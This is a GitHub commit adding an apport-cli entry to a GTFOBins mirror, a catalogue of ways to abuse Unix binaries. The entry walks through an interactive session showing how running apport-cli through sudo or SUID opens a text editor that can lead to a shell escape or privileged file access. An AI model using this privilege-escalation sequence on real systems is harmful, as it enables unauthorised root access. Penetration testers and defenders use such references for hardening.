1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2025-12-27 18:51:41 +01:00

Merge d4d8b11341e521d49948686da01c609abb66d48c into b29f2cfde1c72e4ea5191e49604e923bbda98461

This commit is contained in:
Sohail Saha 2025-12-01 06:19:37 +01:00 committed by GitHub
commit ffc64f101c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

82
_gtfobins/apport-cli.md Normal file

@ -0,0 +1,82 @@
---
description: This can be run with elevated privileges to create a bug report, then view the report in a text editor, which may allow shell escapes and/or privileged file read/writes (Depending upon the default file editor program).
functions:
shell:
- code: |
apport-cli -f
*** What kind of problem do you want to report?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1
*** Collecting problem information
<SNIP>
*** What display problem do you observe?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/C): 2
<SNIP>
*** Send problem report to the developers?
<SNIP>
What would you like to do? Your options are:
<SNIP>
V: View report
<SNIP>
Please choose (S/V/K/I/C): V
<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>
suid:
- code: |
apport-cli -f
*** What kind of problem do you want to report?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1
*** Collecting problem information
<SNIP>
*** What display problem do you observe?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/C): 2
<SNIP>
*** Send problem report to the developers?
<SNIP>
What would you like to do? Your options are:
<SNIP>
V: View report
<SNIP>
Please choose (S/V/K/I/C): V
<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>
sudo:
- code: |
sudo apport-cli -f
*** What kind of problem do you want to report?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1
*** Collecting problem information
<SNIP>
*** What display problem do you observe?
<SNIP>
Please choose (1/2/3/4/5/6/7/8/C): 2
<SNIP>
*** Send problem report to the developers?
<SNIP>
What would you like to do? Your options are:
<SNIP>
V: View report
<SNIP>
Please choose (S/V/K/I/C): V
<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>
---